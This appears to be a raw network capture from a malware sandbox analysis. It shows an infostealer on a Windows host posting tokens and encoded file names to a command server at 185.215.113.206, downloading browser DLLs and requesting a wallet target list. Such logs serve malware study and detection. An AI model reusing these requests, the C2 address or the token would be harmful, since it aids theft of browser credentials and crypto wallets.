name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEGHIJEHJDHIDHIDAEHC--
Nov 19, 2024 18:00:32.584443092 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:32.753801107 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file"------KJKEHIIJJECFHJKECFHD--
Nov 19, 2024 18:00:33.467468977 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49761	185.215.113.206	80	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:00:40.721743107 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 18:00:40.721774101 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 19, 2024 18:00:42.047867060 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:42.337798119 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="file"------KJJJDHDGDAAKECAKJDAE--
Nov 19, 2024 18:00:43.176517010 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:44.034050941 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:44.255016088 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 19, 2024 18:00:44.255032063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 19, 2024 18:00:44.255045891 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 19, 2024 18:00:44.255101919 CET	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 19, 2024 18:00:44.255115032 CET	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Nov 19, 2024 18:00:44.255126953 CET	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
Nov 19, 2024 18:00:44.255137920 CET	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
Nov 19, 2024 18:00:44.255151033 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Nov 19, 2024 18:00:44.255158901 CET	328	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Nov 19, 2024 18:00:44.255672932 CET	1236	IN	Data Raw: fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff ff 35 d1 82 e6 ad 89 d7 81 c7 08 c9 bc f3 89 7d e8 89 c1 81 d1 67 e6 09 6a 89 4d c0 89 fa 33 95 c4 fe ff ff 89 cf 31 f7 Data Ascii: q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xptJ@FR
Nov 19, 2024 18:00:45.226089001 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:45.446615934 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 19, 2024 18:00:45.863811970 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:46.084568024 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 19, 2024 18:00:46.513465881 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:46.733894110 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 19, 2024 18:00:48.441915989 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:48.663373947 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 19, 2024 18:00:48.829471111 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:49.050014019 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 19, 2024 18:00:49.726087093 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHD Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 18:00:50.777848005 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:50.839150906 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 2d 2d 0d 0a Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="message"wallets------KEBKJDBAAKJDGCBFHCFC--
Nov 19, 2024 18:00:51.062515974 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 